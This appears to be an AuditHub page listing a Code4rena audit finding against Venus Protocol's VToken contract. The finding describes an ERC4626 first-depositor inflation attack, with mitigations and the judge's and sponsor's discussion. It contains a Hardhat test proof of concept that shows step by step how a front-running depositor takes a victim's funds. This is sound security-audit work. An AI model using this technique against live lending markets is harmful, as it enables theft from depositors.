Venus Protocol Isolated Pools - qpzm's results

Earn, Borrow & Lend on the #1 Decentralized Money Market on the BNB Chain

General Information

Platform: Code4rena

Start Date: 08/05/2023

Pot Size: $90,500 USDC

Total HM: 17

Participants: 102

Period: 7 days

Judge: 0xean

Total Solo HM: 4

Id: 236

League: ETH

Venus Protocol

Findings Distribution

Researcher Performance

Rank: 86/102

Findings: 1

Award: $51.68

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: LokiThe5th

Also found by: 0x8chars, Co0nan, Cryptor, J4de, Josiah, Norah, Parad0x, QiuhaoLi, RaymondFam, bin2chen, fs0c, qpzm, thekmj, volodya, xuwinnie

Awards

51.6843 USDC - $51.68

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sponsor disputed
edited-by-warden
duplicate-220

External Links

Lines of code

https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L743 https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L756 https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L1476

Vulnerability details

Impact

VToken.mint is vulnerable to ERC4626 inflation attack. The first depositor may steal all the underlying tokens from the second one.

Proof of Concept

Copy and paste this test in mintAndRedeemTest.ts L248 before mint tests. https://github.com/code-423n4/2023-05-venus/blob/main/tests/hardhat/Tokens/mintAndRedeemTest.ts#L248

  describe.only("mint - ERC4626 inflation attack", () => {
    it("minter2 transferred 1e18 underlying token but get 0 VToken", async () => {
      const minter2 = redeemer;
      // 1. Minter1 mints not to use initialExchangeRate next time
      await quickMint(underlying, vToken, minter, 1); // totalSupply is 1

      // 2. Front running: Minter1 transfers the same amount of underlying token to VToken
      const mintAmount = convertToUnit("1", 18);
      await preApprove(underlying, vToken, minter, mintAmount, {faucet: true});
      await underlying.connect(minter).transfer(vToken.address, mintAmount);

      // 3. Minter2 wants to mint by giving `mintAmount` underlying tokens.
      await quickMint(underlying, vToken, minter2, mintAmount);

      // 4. But he receives mintAmount / (1 + mintAmount) = 0 VToken.
      expect(await vToken.balanceOf(await minter2.getAddress())).to.equal(0);

      // 5. Minter1 takes all.
      await quickRedeem(vToken, minter, 2000000000000000001n);
      expect(await underlying.balanceOf(await minter.getAddress())).to.equal(2000000000000000001n);
    });
  });

Tools Used

Manual review and hardhat tests.

  1. Keeping track of the total assets internally
  2. Creating "dead shares" Reference: https://github.com/OpenZeppelin/openzeppelin-contracts/issues/3706#issuecomment-1297199749

Assessed type

ERC4626

#0 - c4-judge

2023-05-17T11:57:00Z

0xean changed the severity to 2 (Med Risk)

#1 - c4-judge

2023-05-17T11:59:43Z

0xean marked the issue as primary issue

#2 - c4-sponsor

2023-05-23T20:49:56Z

chechu marked the issue as sponsor disputed

#3 - chechu

2023-05-23T20:50:07Z

The attack would indeed be feasible if we didn’t require initial supply

#4 - 0xean

2023-05-30T22:38:33Z

@chechu - can you point me to this in the codebase?

#5 - chechu

2023-05-31T11:33:37Z

Our fault, we allow an initial supply, but we don't require it. https://github.com/code-423n4/2023-05-venus/blob/main/contracts/Pool/PoolRegistry.sol#L321

The origin of the confusion is that we'll provide, for sure, an initial supply on every market that we'll add to the PoolRegistry, and the process to add new markets is under the control of the Governance (so, the community will have to vote for it). For that reason, we really assumed that there will be an initial supply, but now we realized we are not requiring it in the code. We'll do it, just to avoid any confusion or potential error.

We won't integrate the Oracles, but the initial idea is to provide at least $10,000 as an initial supply on each new market. That "check" will be done externally, when the VIP is prepared to be proposed to the community

#6 - c4-judge

2023-06-05T14:08:30Z

0xean marked the issue as satisfactory

#7 - c4-judge

2023-06-05T14:37:37Z

0xean changed the severity to 3 (High Risk)

#8 - c4-judge

2023-06-05T14:37:45Z

0xean changed the severity to 2 (Med Risk)

#9 - c4-judge

2023-06-05T16:35:10Z

0xean marked issue #220 as primary and marked this issue as a duplicate of 220

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter